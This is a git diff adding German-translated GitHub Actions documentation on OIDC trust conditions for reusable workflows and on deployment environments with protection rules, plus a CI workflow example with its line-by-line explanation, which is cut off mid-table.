@@ -0,0 +1,109 @@
+---
+title: Verwenden von OpenID Connect mit wiederverwendbaren Workflows
+shortTitle: Using OpenID Connect with reusable workflows
+intro: 'Du kannst wiederverwendbare Workflows mit OIDC verwenden, um deine Bereitstellungsschritte zu standardisieren und festzuschreiben.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+type: how_to
+topics:
+  - Workflows
+  - Security
+ms.openlocfilehash: ecf00be738c711394bc4debf0088ca0cbe5a2d9c
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147710275'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Informationen zu wiederverwendbaren Workflows
+
+Anstatt Bereitstellungsaufträge zu kopieren und von einem Workflow in einen anderen einzufügen, kannst du einen wiederverwendbaren Workflow erstellen, der die Bereitstellungsschritte ausführt. Ein wiederverwendbarer Workflow kann von einem anderen Workflow verwendet werden, wenn er eine der in [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows) beschriebenen Zugriffsanforderungen erfüllt.
+
+Du solltest mit den Konzepten vertraut sein, die in [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows und [Informationen zur Sicherheitshärtung mit OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect) beschrieben werden.
+
+## Definieren der Vertrauensbedingungen
+
+Wenn du wiederverwendbare Workflows in Kombination mit OpenID Connect (OIDC) verwendest, kannst du konsistente Bereitstellungen in deinem Repository, deiner Organisation oder deinem Unternehmen erzwingen. Dies erreichst du durch das Definieren von Vertrauensbedingungen für Cloudrollen basierend auf wiederverwendbaren Workflows. Die verfügbaren Optionen variieren je nach verwendetem Cloudanbieter:
+
+- **Verwenden von `job_workflow_ref`** : 
+  - Um Vertrauensbedingungen auf der Grundlage wiederverwendbarer Workflows zu erstellen, muss dein Cloudanbieter benutzerdefinierte Ansprüche für `job_workflow_ref` unterstützen. Dadurch kann dein Cloudanbieter identifizieren, von welchem Repository der Auftrag ursprünglich stammt. 
+  - Für Clouds, die nur die Standardansprüche (Zielgruppe (`aud`) und Antragsteller (`sub`)) unterstützen, kannst du die API verwenden, um den Anspruch `sub` so anzupassen, dass er `job_workflow_ref` enthält. Weitere Informationen findest du unter [Anpassen der Tokenansprüche](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims). Unterstützung für benutzerdefinierte Ansprüche ist derzeit für Google Cloud Platform und HashiCorp Vault verfügbar.
+
+- **Anpassen der Tokenansprüche**: 
+  - Du kannst präzisere Vertrauensbedingungen konfigurieren, indem du die im JWT enthaltenen Angaben zu Aussteller (`iss`) und Antragsteller (`sub`) anpasst. Weitere Informationen findest du unter [Anpassen der Tokenansprüche](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#customizing-the-token-claims).
+
+## Funktionsweise des Tokens mit wiederverwendbaren Workflows
+
+Während einer Workflowausführung stellt der OIDC-Anbieter von {% data variables.product.prodname_dotcom %} ein OIDC-Token für den Cloudanbieter bereit, das Informationen zum Auftrag enthält. Wenn dieser Auftrag Teil eines wiederverwendbaren Workflows ist, enthält das Token die Standardansprüche, die Informationen zum aufrufenden Workflow enthalten. Außerdem umfasst es den benutzerdefinierten Anspruch `job_workflow_ref`, der Informationen zum aufgerufenen Workflow enthält.
+
+Das folgende OIDC-Token ist beispielsweise für einen Auftrag konzipiert, der Teil eines aufgerufenen Workflows war. `workflow`, `ref` und andere Attribute beschreiben den aufrufenden Workflow, während `job_workflow_ref` sich auf den aufgerufenen Workflow bezieht:
+
+```yaml{:copy}
+{
+  "typ": "JWT",
+  "alg": "RS256",
+  "x5t": "example-thumbprint",
+  "kid": "example-key-id"
+}
+{
+  "jti": "example-id",
+  "sub": "repo:octo-org/octo-repo:environment:prod",
+  "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org",
+  "ref": "refs/heads/main",
+  "sha": "example-sha",
+  "repository": "octo-org/octo-repo",
+  "repository_owner": "octo-org",
+  "actor_id": "12",
+  "repository_id": "74",
+  "repository_owner_id": "65",
+  "run_id": "example-run-id",
+  "run_number": "10",
+  "run_attempt": "2",
+  "actor": "octocat",
+  "workflow": "example-workflow",
+  "head_ref": "",
+  "base_ref": "",
+  "event_name": "workflow_dispatch",
+  "ref_type": "branch",
+  "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main",
+  "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}",
+  "nbf": 1632492967,
+  "exp": 1632493867,
+  "iat": 1632493567
+}
+```
+
+Wenn dein wiederverwendbarer Workflow Bereitstellungsschritte ausführt, benötigt er in der Regel Zugriff auf eine bestimmte Cloudrolle, und du musst allen Repositorys in deiner Organisation das Aufrufen dieses wiederverwendbaren Workflows erlauben. Erstelle hierzu die Vertrauensbedingung, die jedes Repository und jeden aufrufenden Workflow zulässt, und filtere dann nach der Organisation und dem aufgerufenen Workflow. Im nächsten Abschnitt findest du einige Beispiele.
+
+## Beispiele
+
+**Filtern nach wiederverwendbaren Workflows innerhalb eines bestimmten Repositorys**
+
+Du kannst einen benutzerdefinierten Anspruch konfigurieren, der nach jedem wiederverwendbaren Workflow in einem bestimmten Repository filtern kann. In diesem Beispiel muss die Workflowausführung von einem Auftrag stammen, der in einem wiederverwendbaren Workflow im Repository `octo-org/octo-automation` und in jedem Repository im Besitz der Organisation `octo-org` definiert ist.
+
+- **Antragsteller:**
+  - Syntax: `repo:ORG_NAME/*`
+  - Beispiel: `repo:octo-org/*`
+
+- **Benutzerdefinierter Anspruch:**
+  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME`
+  - Beispiel: `job_workflow_ref:octo-org/octo-automation@*`
+
+**Filtern nach einem bestimmten wiederverwendbaren Workflow in einem bestimmten Verweis**
+
+Du kannst einen benutzerdefinierten Anspruch konfigurieren, der nach einem bestimmten wiederverwendbaren Workflow filtert. In diesem Beispiel muss die Workflowausführung von einem Auftrag stammen, der im wiederverwendbaren Workflow `octo-org/octo-automation/.github/workflows/deployment.yml` und in jedem Repository im Besitz der Organisation `octo-org` definiert ist.
+
+- **Antragsteller:**
+  - Syntax: `repo:ORG_NAME/*` 
+  - Beispiel: `repo:octo-org/*` 
+
+- **Benutzerdefinierter Anspruch:**
+  - Syntax: `job_workflow_ref:ORG_NAME/REPO_NAME/.github/workflows/WORKFLOW_FILE@ref` 
+  - Beispiel: `job_workflow_ref:octo-org/octo-automation/.github/workflows/deployment.yml@ 10040c56a8c0253d69db7c1f26a0d227275512e2`
diff --git a/translations/de-DE/content/actions/deployment/targeting-different-environments/index.md b/translations/de-DE/content/actions/deployment/targeting-different-environments/index.md
new file mode 100644
index 0000000000..88e8955d71
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/targeting-different-environments/index.md
@@ -0,0 +1,19 @@
+---
+title: Ausrichtung auf verschiedene Umgebungen
+shortTitle: Targeting different environments
+intro: 'Du kannst Umgebungen mit Schutzregeln und Geheimnissen konfigurieren. Ein Workflowauftrag, der auf eine Umgebung verweist, muss alle Schutzregeln für diese Umgebung befolgen, ehe er ausgeführt wird oder auf die Geheimnisse der Umgebung zugreift.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - /using-environments-for-deployment
+ms.openlocfilehash: 224e61bf3c220ea685f2f1b5261139ef95cc4b2c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145088580'
+---
+
diff --git a/translations/de-DE/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md b/translations/de-DE/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
new file mode 100644
index 0000000000..565923d004
--- /dev/null
+++ b/translations/de-DE/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md
@@ -0,0 +1,130 @@
+---
+title: Verwenden von Umgebungen für die Bereitstellung
+shortTitle: Use environments for deployment
+intro: 'Du kannst Umgebungen mit Schutzregeln und Geheimnissen konfigurieren. Ein Workflowauftrag, der auf eine Umgebung verweist, muss alle Schutzregeln für diese Umgebung befolgen, ehe er ausgeführt wird oder auf die Geheimnisse der Umgebung zugreift.'
+product: '{% data reusables.gated-features.environments %}'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /actions/reference/environments
+  - /actions/deployment/environments
+  - /actions/deployment/using-environments-for-deployment
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+ms.openlocfilehash: 21163a759cfd7eab3b197aeb4bb9283e1ccb90a2
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147572303'
+---
+## Informationen zu Umgebungen
+
+Umgebungen werden verwendet, um ein allgemeines Bereitstellungsziel wie `production`, `staging` oder `development` zu beschreiben. Wenn ein {% data variables.product.prodname_actions %}-Workflow in einer Umgebung bereitgestellt wird, wird die Umgebung auf der Hauptseite des Repositorys angezeigt. Weitere Informationen zum Anzeigen von Bereitstellungen in Umgebungen findest du unter [Anzeigen des Bereitstellungsverlaufs](/developers/overview/viewing-deployment-history).
+
+Du kannst Umgebungen mit Schutzregeln und Geheimnissen konfigurieren. Wenn ein Workflowauftrag auf eine Umgebung verweist, wird der Auftrag erst dann gestartet, wenn alle Schutzregeln der Umgebung erfüllt sind. Ein Auftrag kann außerdem erst dann auf Geheimnisse zugreifen, die in einer Umgebung definiert sind, wenn alle Regeln zum Schutz der Umgebung erfüllt sind.
+
+{% ifversion fpt %} {% note %}
+
+**Hinweis:** Du kannst nur Umgebungen für öffentliche Repositorys konfigurieren. Wenn du ein öffentliches Repository in ein privates umwandelst, werden alle konfigurierten Schutzregeln oder Umgebungsgeheimnisse ignoriert, und du kannst keine Umgebungen konfigurieren. Wenn du das Repository wieder als öffentlich markierst, erhältst du Zugriff auf alle zuvor konfigurierten Schutzregeln und Umgebungsgeheimnisse.
+
+Organisationen mit {% data variables.product.prodname_team %} und Benutzer*innen mit {% data variables.product.prodname_pro %} können Umgebungen für private Repositorys konfigurieren. Weitere Informationen findest du unter [{% data variables.product.prodname_dotcom %}-Produkte](/get-started/learning-about-github/githubs-products).
+
+{% endnote %} {% endif %}
+
+## Umgebungsschutzregeln
+
+Umgebungsschutzregeln geben vor, dass bestimmte Bedingungen erfüllt sein müssen, bevor ein Auftrag ausgeführt werden kann, der auf die Umgebung verweist. Du kannst Umgebungsschutzregeln verwenden, um eine manuelle Genehmigung zu erfordern, einen Auftrag zu verzögern oder die Umgebung auf bestimmte Branches einzuschränken.
+
+### Erforderliche Reviewer
+
+Verwende erforderliche Reviewer, um für Workflowaufträge, die auf die Umgebung verweisen, eine Genehmigung durch eine bestimmte Person oder ein Team als erforderlich festzulegen. Du kannst bis zu sechs Benutzer oder Teams als Reviewer auflisten. Die Reviewer müssen mindestens Lesezugriff auf das Repository haben. Nur einer der erforderlichen Reviewer muss den Auftrag genehmigen, damit er fortgesetzt werden kann.
+
+Weitere Informationen zum Review von Aufträgen, die auf eine Umgebung mit erforderlichen Reviewern verweisen, findest du unter [Überprüfen von Bereitstellungen](/actions/managing-workflow-runs/reviewing-deployments).
+
+### Wartetimer
+
+Verwende einen Wartetimer, um einen Auftrag für eine bestimmte Zeit zu verzögern, nachdem der Auftrag ausgelöst wurde. Die Zeit (in Minuten) muss eine ganze Zahl zwischen 0 und 43.200 (30 Tage) sein.
+
+### Bereitstellungsbranches
+
+Verwende Bereitstellungsbranches, um einzuschränken, welche Branches Bereitstellungen in der Umgebung durchführen können. Im Folgenden findest du die Optionen für Bereitstellungsbranches für eine Umgebung:
+
+* **Alle Branches**: Alle Branches im Repository können Bereitstellungen in der Umgebung durchführen.
+* **Geschützte Branches**: Nur Branches mit aktivierten Schutzregeln können Bereitstellungen in der Umgebung durchführen. Wenn für keinen Branch im Repository Schutzregeln definiert sind, können alle Branches Bereitstellungen durchführen. Weitere Informationen zu Regeln für den Schutz von Branches findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches).
+* **Ausgewählte Branches**: Es können nur die Branches Bereitstellungen in der Umgebung durchführen, die den von dir angegebenen Namensmustern entsprechen.
+
+  Wenn du zum Beispiel `releases/*` als Bereitstellungsbranchregel angibst, können nur Branches Bereitstellungen in der Umgebung durchführen, deren Name mit `releases/` beginnt. (Platzhalterzeichen liefern keine Übereinstimmung mit `/`. Um Branches zu finden, die mit `release/` beginnen und einen zusätzlichen einfachen Schrägstrich enthalten, verwendest du `release/*/*`). Wenn du `main` als Branchregel hinzufügst, kann auch ein Branch namens `main` Bereitstellungen in der Umgebung durchführen. Weitere Informationen zu den Syntaxoptionen für Bereitstellungsbranches findest du in der [Ruby File.fnmatch-Dokumentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
+## Umgebungsgeheimnisse
+
+Die in einer Umgebung gespeicherten Geheimnisse sind nur für Workflowaufträge verfügbar, die auf diese Umgebung verweisen. Wenn für die Umgebung eine Genehmigung erforderlich ist, kann ein Auftrag erst dann auf Umgebungsgeheimnisse zugreifen, wenn einer der erforderlichen Reviewer den Auftrag genehmigt hat. Weitere Informationen zu Geheimnissen findest du unter [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
+
+{% note %}
+
+**Hinweis:** Workflows, die auf selbstgehosteten Runnern ausgeführt werden, werden nicht in einem isolierten Container ausgeführt. Dies gilt auch dann, wenn sie Umgebungen verwenden. Umgebungsgeheimnisse sollten mit der gleichen Sicherheitsstufe behandelt werden wie Repository- und Organisationsgeheimnisse. Weitere Informationen findest du unter [Sicherheitshärtung für GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
+
+{% endnote %}
+
+## Erstellen einer Umgebung
+
+{% data reusables.actions.permissions-statement-environment %}
+
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis:** Die Erstellung einer Umgebung in einem privaten Repository steht Organisationen mit {% data variables.product.prodname_team %} und Benutzer*innen mit {% data variables.product.prodname_pro %} zur Verfügung.
+
+{% endnote %} {% endif %}
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-environment %} {% data reusables.actions.new-environment %} {% data reusables.actions.name-environment %}
+1. Du kannst optional Personen oder Teams angeben, die Workflowaufträge mit Verwendung dieser Umgebung genehmigen müssen.
+   1. Wähle **Required reviewers** aus.
+   1. Gib bis zu 6 Personen oder Teams ein. Nur einer der erforderlichen Reviewer muss den Auftrag genehmigen, damit er fortgesetzt werden kann.
+   1. Klicke auf **Schutzregeln speichern**.
+2. Gib optional die Zeitspanne an, die gewartet werden soll, bevor Workflowaufträge mit Verwendung dieser Umgebung fortgesetzt werden können.
+   1. Wähle **Wartetimer** aus.
+   1. Gib die gewünschte Wartezeit in Minuten ein.
+   1. Klicke auf **Schutzregeln speichern**.
+3. Optional kannst du angeben, welche Branches Bereitstellungen in dieser Umgebung durchführen können. Weitere Informationen zu den möglichen Werten findest du unter [Bereitstellungsbranches](#deployment-branches).
+   1. Wähle die gewünschte Option im Dropdownmenü **Bereitstellungsbranches** aus.
+   1. Wenn du **Ausgewählte Branches** ausgewählt hast, gib die Branchnamensmuster ein, die du zulassen möchtest.
+4. Optional kannst du Umgebungsgeheimnisse hinzufügen. Diese Geheimnisse sind nur für Workflowaufträge verfügbar, die die Umgebung verwenden. Außerdem können Workflowaufträge mit Verwendung dieser Umgebung erst dann auf diese Geheimnisse zugreifen, wenn alle konfigurierten Regeln (z. B. erforderliche Reviewer) erfüllt sind. Weitere Informationen zu Geheimnissen findest du unter [Verschlüsselte Geheimnisse](/actions/reference/encrypted-secrets).
+   1. Klicke unter **Umgebungsgeheimnisse** auf **Geheimnis hinzufügen**.
+   1. Gib den Geheimnisnamen ein.
+   1. Gib den Geheimniswert ein.
+   1. Klicke auf **Geheimnis hinzufügen**.
+
+Du kannst auch Umgebungen über die REST-API erstellen und konfigurieren. Weitere Informationen findest du unter [Bereitstellungsumgebungen](/rest/deployments/environments), [GitHub Actions-Geheimnisse](/rest/actions/secrets) und [ Richtlinien für Bereitstellungsbranches](/rest/deployments/branch-policies).
+
+Wenn du einen Workflow ausführst, der auf eine nicht vorhandene Umgebung verweist, wird eine Umgebung mit dem referenzierten Namen erstellt. Für die neu erstellte Umgebung sind keine Schutzregeln oder Geheimnisse konfiguriert. Jeder Benutzer, der Workflows im Repository bearbeiten kann, kann Umgebungen über eine Workflowdatei erstellen, aber nur Repositoryadministratoren können die Umgebung konfigurieren.
+
+## Verwenden einer Umgebung
+
+Jeder Auftrag in einem Workflow kann auf eine einzelne Umgebung verweisen. Alle für die Umgebung konfigurierten Schutzregeln müssen eingehalten werden, bevor ein Auftrag, der auf die Umgebung verweist, an einen Runner gesendet wird. Der Auftrag kann erst dann auf die Geheimnisse der Umgebung zugreifen, wenn der Auftrag an einen Runner gesendet wird.
+
+Wenn ein Workflow auf eine Umgebung verweist, wird die Umgebung in den Bereitstellungen des Repositorys angezeigt. Weitere Informationen zum Anzeigen aktueller und früherer Bereitstellungen findest du unter [Anzeigen des Bereitstellungsverlaufs](/developers/overview/viewing-deployment-history).
+
+{% data reusables.actions.environment-example %}
+
+## Löschen einer Umgebung
+
+{% data reusables.actions.permissions-statement-environment %}
+
+Wenn du eine Umgebung löschst, werden alle Geheimnisse und Schutzregeln gelöscht, die dieser Umgebung zugeordnet sind. Alle Aufträge, die aufgrund von Schutzregeln aus der gelöschten Umgebung warten, schlagen automatisch fehl.
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.actions.sidebar-environment %}
+1. Klicke neben der Umgebung, die du löschen möchtest, auf {% octicon "trash" aria-label="The trash icon" %}.
+2. Klicke auf **Verstanden, diese Umgebung löschen**.
+
+Du kannst Umgebungen auch über die REST-API löschen. Weitere Informationen findest du unter [Umgebungen](/rest/reference/repos#environments).
+
+## Beziehung zwischen Umgebungen und Bereitstellungen
+
+{% data reusables.actions.environment-deployment-event %}
+
+Du kannst auf diese Objekte über die REST-API oder die GraphQL-API zugreifen. Du kannst diese Webhookereignisse auch abonnieren. Weitere Informationen findest du unter [Repositorys](/rest/reference/repos#deployments) (REST-API), [Objekte](/graphql/reference/objects#deployment) (GraphQL-API) oder [Webhookereignisse und Nutzdaten](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment).
+
+## Nächste Schritte
+
+{% data variables.product.prodname_actions %} bietet verschiedene Funktionen zum Verwalten deiner Bereitstellungen. Weitere Informationen findest du unter [Bereitstellen mit GitHub Actions](/actions/deployment/deploying-with-github-actions).
diff --git a/translations/de-DE/content/actions/examples/index.md b/translations/de-DE/content/actions/examples/index.md
new file mode 100644
index 0000000000..53509b78c8
--- /dev/null
+++ b/translations/de-DE/content/actions/examples/index.md
@@ -0,0 +1,21 @@
+---
+title: Beispiele
+shortTitle: Examples
+intro: 'Beispielworkflows, die die CI/CD-Features von {% data variables.product.prodname_actions %} veranschaulichen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+children:
+  - using-scripts-to-test-your-code-on-a-runner
+  - using-the-github-cli-on-a-runner
+  - using-concurrency-expressions-and-a-test-matrix
+ms.openlocfilehash: ead17cbc8c35735e3676aa7b992ebd05ac6686ae
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881090'
+---
+
diff --git a/translations/de-DE/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md b/translations/de-DE/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md
new file mode 100644
index 0000000000..3a4f73c6f2
--- /dev/null
+++ b/translations/de-DE/content/actions/examples/using-concurrency-expressions-and-a-test-matrix.md
@@ -0,0 +1,651 @@
+---
+title: 'Using concurrency, expressions, and a test matrix'
+shortTitle: 'Use concurrency, expressions, and a test matrix'
+intro: 'How to use advanced {% data variables.product.prodname_actions %} features for continuous integration (CI).'
+versions:
+  fpt: '*'
+  ghes: '>= 3.5'
+  ghae: '>= 3.5'
+  ghec: '*'
+type: how_to
+topics:
+  - Workflows
+---
+
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Example overview
+
+{% data reusables.actions.example-workflow-intro-ci %} When this workflow is triggered, it tests your code using a matrix of test combinations with `npm test`.
+
+{% data reusables.actions.example-diagram-intro %}
+
+![Overview diagram of workflow steps](/assets/images/help/images/overview-actions-using-concurrency-expressions-and-a-test-matrix.png)
+
+## Features used in this example
+
+{% data reusables.actions.example-table-intro %}
+
+| **Feature**  | **Implementation** |
+| --- | --- |
+{% data reusables.actions.workflow-dispatch-table-entry %}
+{% data reusables.actions.pull-request-table-entry %}
+{% data reusables.actions.cron-table-entry %}
+{% data reusables.actions.permissions-table-entry %}
+{% data reusables.actions.concurrency-table-entry %}
+| Running the job on different runners, depending on the repository: | [`runs-on`](/actions/using-jobs/choosing-the-runner-for-a-job)|
+{% data reusables.actions.if-conditions-table-entry %}
+| Using a matrix to create different test configurations: | [`matrix`](/actions/using-jobs/using-a-build-matrix-for-your-jobs)|
+{% data reusables.actions.checkout-action-table-entry %}
+{% data reusables.actions.setup-node-table-entry %}
+| Caching dependencies: | [`actions/cache`](/actions/advanced-guides/caching-dependencies-to-speed-up-workflows)|
+| Running tests on the runner: | `npm test`|
+
+## Example workflow
+
+{% data reusables.actions.example-docs-engineering-intro %} [`test.yml`](https://github.com/github/docs/blob/main/.github/workflows/test.yml).
+
+{% data reusables.actions.note-understanding-example %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:100%"></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: Node.js Tests
+
+# **What it does**: Runs our tests.
+# **Why we have it**: We want our tests to pass before merging code.
+# **Who does it impact**: Docs engineering, open-source engineering contributors.
+
+on:
+  workflow_dispatch:
+  pull_request:
+  push:
+    branches:
+      - main
+
+permissions:
+  contents: read
+  # Needed for the 'trilom/file-changes-action' action
+  pull-requests: read
+
+# This allows a subsequently queued workflow run to interrupt previous runs
+concurrency:
+  group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %}
+  cancel-in-progress: true
+
+jobs:
+  test:
+    # Run on self-hosted if the private repo or ubuntu-latest if the public repo
+    # See pull # 17442 in the private repo for context
+    runs-on: {% raw %}${{ fromJSON('["ubuntu-latest", "self-hosted"]')[github.repository == 'github/docs-internal'] }}{% endraw %}
+    timeout-minutes: 60
+    strategy:
+      fail-fast: false
+      matrix:
+        # The same array lives in test-windows.yml, so make any updates there too.
+        test-group:
+          [
+            content,
+            graphql,
+            meta,
+            rendering,
+            routing,
+            unit,
+            linting,
+            translations,
+          ]
+    steps:
+      # Each of these ifs needs to be repeated at each step to make sure the required check still runs
+      # Even if if doesn't do anything
+      - name: Check out repo
+        uses: {% data reusables.actions.action-checkout %}
+        with:
+          # Not all test suites need the LFS files. So instead, we opt to
+          # NOT clone them initially and instead, include them manually
+          # only for the test groups that we know need the files.
+          lfs: {% raw %}${{ matrix.test-group == 'content' }}{% endraw %}
+          # Enables cloning the Early Access repo later with the relevant {% data variables.product.pat_generic %}
+          persist-credentials: 'false'
+
+      - name: Figure out which docs-early-access branch to checkout, if internal repo
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        id: check-early-access
+        uses: {% data reusables.actions.action-github-script %}
+        env:
+          BRANCH_NAME: {% raw %}${{ github.head_ref || github.ref_name }}{% endraw %}
+        with:
+          github-token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %}
+          result-encoding: string
+          script: |
+            // If being run from a PR, this becomes 'my-cool-branch'.
+            // If run on main, with the `workflow_dispatch` action for
+            // example, the value becomes 'main'.
+            const { BRANCH_NAME } = process.env
+            try {
+              const response = await github.repos.getBranch({
+                owner: 'github',
+                repo: 'docs-early-access',
+                BRANCH_NAME,
+              })
+              console.log(`Using docs-early-access branch called '${BRANCH_NAME}'.`)
+              return BRANCH_NAME
+            } catch (err) {
+              if (err.status === 404) {
+                console.log(`There is no docs-early-access branch called '${BRANCH_NAME}' so checking out 'main' instead.`)
+                return 'main'
+              }
+              throw err
+            }
+
+      - name: Check out docs-early-access too, if internal repo
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        uses: {% data reusables.actions.action-checkout %}
+        with:
+          repository: github/docs-early-access
+          token: {% raw %}${{ secrets.DOCUBOT_REPO_PAT }}{% endraw %}
+          path: docs-early-access
+          ref: {% raw %}${{ steps.check-early-access.outputs.result }}{% endraw %}
+
+      - name: Merge docs-early-access repo's folders
+        if: {% raw %}${{ github.repository == 'github/docs-internal' }}{% endraw %}
+        run: |
+          mv docs-early-access/assets assets/images/early-access
+          mv docs-early-access/content content/early-access
+          mv docs-early-access/data data/early-access
+          rm -r docs-early-access
+
+      # This is necessary when LFS files where cloned but does nothing
+      # if actions/checkout was run with `lfs:false`.
+      - name: Checkout LFS objects
+        run: git lfs checkout
+
+      - name: Gather files changed
+        uses: trilom/file-changes-action@a6ca26c14274c33b15e6499323aac178af06ad4b
+        id: get_diff_files
+        with:
+          # So that `steps.get_diff_files.outputs.files` becomes
+          # a string like `foo.js path/bar.md`
+          output: ' '
+
+      - name: Insight into changed files
+        run: |
+
+          # Must to do this because the list of files can be HUGE. Especially
+          # in a repo-sync when there are lots of translation files involved.
+          echo {% raw %}"${{ steps.get_diff_files.outputs.files }}" > get_diff_files.txt{% endraw %}
+
+      - name: Setup node
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: 16.14.x
+          cache: npm
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Cache nextjs build
+        uses: {% data reusables.actions.action-cache %}
+        with:
+          path: .next/cache
+          key: {% raw %}${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}{% endraw %}
+
+      - name: Run build script
+        run: npm run build
+
+      - name: Run tests
+        env:
+          DIFF_FILE: get_diff_files.txt
+          CHANGELOG_CACHE_FILE_PATH: tests/fixtures/changelog-feed.json
+        run: npm test -- {% raw %}tests/${{ matrix.test-group }}/{% endraw %}
+```
+</tr>
+</td>
+</tbody>
+</table>
+
+## Understanding the example
+
+ {% data reusables.actions.example-explanation-table-intro %}
+
+<table style="table-layout: fixed;">
+<thead>
+  <tr>
+    <th style="width:60%"><b>Code</b></th>
+    <th style="width:40%"><b>Explanation</b></th>
+  </tr>
+</thead>
+<tbody>
+<tr>
+<td>
+
+```yaml{:copy}
+name: Node.js Tests
+```
+</td>
+<td>
+
+{% data reusables.actions.explanation-name-key %}
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+on:
+```
+</td>
+<td>
+
+The `on` keyword lets you define the events that trigger when the workflow is run. You can define multiple events here. For more information, see "[Triggering a workflow](/actions/using-workflows/triggering-a-workflow#using-events-to-trigger-workflows)."
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  workflow_dispatch:
+```
+</td>
+<td>
+
+Add the `workflow_dispatch` event if you want to be able to manually run this workflow in the UI. For more information, see [`workflow_dispatch`](/actions/reference/events-that-trigger-workflows#workflow_dispatch).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  pull_request:
+```
+</td>
+<td>
+
+Add the `pull_request` event, so that the workflow runs automatically every time a pull request is created or updated. For more information, see [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  push:
+    branches:
+      - main
+```
+</td>
+<td>
+
+Add the `push` event, so that the workflow runs automatically every time a commit is pushed to a branch matching the filter `main`. For more information, see [`push`](/actions/using-workflows/events-that-trigger-workflows#push).
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+permissions:
+  contents: read
+  pull-requests: read
+```
+</td>
+<td>
+
+Modifies the default permissions granted to `GITHUB_TOKEN`. This will vary depending on the needs of your workflow. For more information, see "[Assigning permissions to jobs](/actions/using-jobs/assigning-permissions-to-jobs)."
+</td>
+</tr>
+<tr>
+<td>
+
+
+```yaml{:copy}
+concurrency:
+  group: {% raw %}'${{ github.workflow }} @ ${{ github.event.pull_request.head.label || github.head_ref || github.ref }}'{% endraw %}
+```
+</td>
+<td>
+
+Creates a concurrency group for specific events, and uses the `||` operator to define fallback values. For more information, see "[Using concurrency](/actions/using-jobs/using-concurrency)."
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  cancel-in-progress: true
+```
+</td>
+<td>
+
+Cancels any currently running job or workflow in the same concurrency group.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+jobs:
+```
+</td>
+<td>
+
+Groups together all the jobs that run in the workflow file.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
+  test:
+```
+</td>
+<td>
+
+Defines a job with the ID `test` that is stored within the `jobs` key.
+</td>
+</tr>
+<tr>
+<td>
+
+```yaml{:copy}
